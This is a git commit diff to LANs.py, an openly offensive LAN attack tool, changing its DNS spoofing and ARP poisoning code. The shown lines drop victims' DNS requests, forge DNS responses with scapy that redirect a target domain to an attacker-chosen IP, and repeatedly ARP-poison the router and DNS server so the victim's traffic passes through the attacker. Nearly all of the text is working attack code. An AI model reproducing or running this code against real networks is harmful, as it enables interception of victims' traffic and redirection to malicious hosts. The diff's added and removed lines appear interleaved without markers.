github/LANs.py
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faster DNS server lookup + DNS spoofing 100% reliable (again, broke it a while ago)

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DanMcInerney 2014-01-04 01:49:45 -05:00
parent 290e0b262f
commit 8a7a9d2ffc
1 changed files with 13 additions and 12 deletions
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25
LANs.py
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@ -709,11 +709,10 @@ class Parser():
self.dnsspoof_actions(dns_layer, IP_src, IP_dst, sport, dport, payload, self.args.redirectto)
def dnsspoof_actions(self, dns_layer, IP_src, IP_dst, sport, dport, payload, rIP):
payload.set_verdict(nfqueue.NF_DROP)
print G+'[+] DNS request for '+W+self.args.dnsspoof+G+' found; dropping packet and injecting spoofed one redirecting to '+W+rIP
logger.write('[+] DNS request for '+self.args.dnsspoof+' found; dropping packet and injecting spoofed one redirecting to '+rIP+'\n')
# print G+'[+] DNS request for '+W+self.args.dnsspoof+G+' found; dropping packet and injecting spoofed one redirecting to '+W+rIP
# logger.write('[+] DNS request for '+self.args.dnsspoof+' found; dropping packet and injecting spoofed one redirecting to '+rIP+'\n')
p = IP(dst=IP_src, src=IP_dst)/UDP(dport=sport, sport=dport)/DNS(id=dns_layer.id, qr=1, aa=1, qd=dns_layer.qd, an=DNSRR(rrname=dns_layer.qd.qname, ttl=10, rdata=rIP))
send(p)
payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(p), len(p))
print G+'[!] Sent spoofed packet for '+W+self.args.dnsspoof+G+' to '+W+rIP
logger.write('[!] Sent spoofed packet for '+self.args.dnsspoof+' to '+rIP+'\n')
@ -1034,13 +1033,15 @@ def main(args):
except Exception:
exit("[-] Could not get victim MAC address; try the -vmac [xx:xx:xx:xx:xx:xx] option if you know the victim's MAC address")
if dnsIP != routerIP:
try:
dnsMAC = Spoof().originalMAC(dnsIP)
print "[*] DNS server MAC: " + dnsMAC
except Exception:
print "[-] Could not get DNS server MAC address; continuing"
if dnsIP == routerIP:
dnsMAC = routerMAC
if IPprefix in dnsIP:
try:
dnsMAC = Spoof().originalMAC(dnsIP)
print "[*] DNS server MAC: " + dnsMAC
except Exception:
print "[-] Could not get DNS server MAC address; continuing"
dnsMAC = routerMAC
else:
dnsMAC = routerMAC
setup(victimMAC)
Queued(args)
@ -1080,7 +1081,7 @@ def main(args):
while 1:
# If DNS server is different from the router then we must spoof ourselves as the DNS server as well as the router
if not dnsIP == routerIP and dnsMAC:
if dnsIP != routerIP and dnsMAC != routerMAC:
Spoof().poison(dnsIP, victimIP, dnsMAC, victimMAC)
Spoof().poison(routerIP, victimIP, routerMAC, victimMAC)
time.sleep(1.5)